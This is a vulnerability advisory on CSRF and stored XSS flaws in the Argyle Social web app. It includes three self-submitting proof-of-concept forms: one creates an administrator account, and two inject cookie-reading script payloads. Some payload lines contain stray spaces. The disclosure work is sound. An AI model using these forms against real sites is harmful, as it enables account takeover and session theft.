Cross-site Request Forgery (CSRF) Vulnerabilities in Argyle Social

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Argyle Social which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in Argyle Social
1.1 The vulnerability exists due to insufficient validation of the request origin in users/create/ script. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://app.argylesocial.com/users/create/" method="post" name="main">
<input type="hidden" name="name" value="test">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="code" value="usercode">
<input type="hidden" name="role" value="admin">
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in settings-ajax/stream_filter_rules/create script. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify rules. Due to insufficient sanitation of input data in the "terms" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://app.argylesocial.com/settings-ajax/stream_filter_rules/create " method="post" name="main">
<input type="hidden" name="stream_filter_rule" value='{"name":"rulename","id":"","flags":["flagged"],"networks":null,"user_ id":"0","terms":"XSS\">< script>alert(document.cookie)</script>"}'>
</form>
<script>
document.main .submit();
</script>
1.3 The vulnerability exists due to insufficient validation of the request origin in publish-ajax/efforts/create script. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify rules. Due to insufficient sanitation of input data in the "title" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://app.argylesocial.com/publish-ajax/efforts/create" method="post" name="main">
<input type="hidden" name="effort" value='{"effort_id":"","title":"ptitle2\"><script>alert(document.cookie)</sc ript>","url":"http://www .google.com","short":null,"campaigns":[],"primary_campaign":null,"flights":[ {"glass_id":"post0","fli ght_id":null,"mdk":false,"source":"web interface","content_type":"twitter-status","content":{"content":"hello"},"st ime":"4/30/2011 23:10:00","networks":[{"id":"1","name":"My Name","type":"twitter","url":"","avatar":"http://a2.twimg.com/profile_images /1124040897/at-twitter_r easonably_small.png"}],"waparams":{"pname":null}}]}'>
</form>
<script>
document.main.submit();
</script>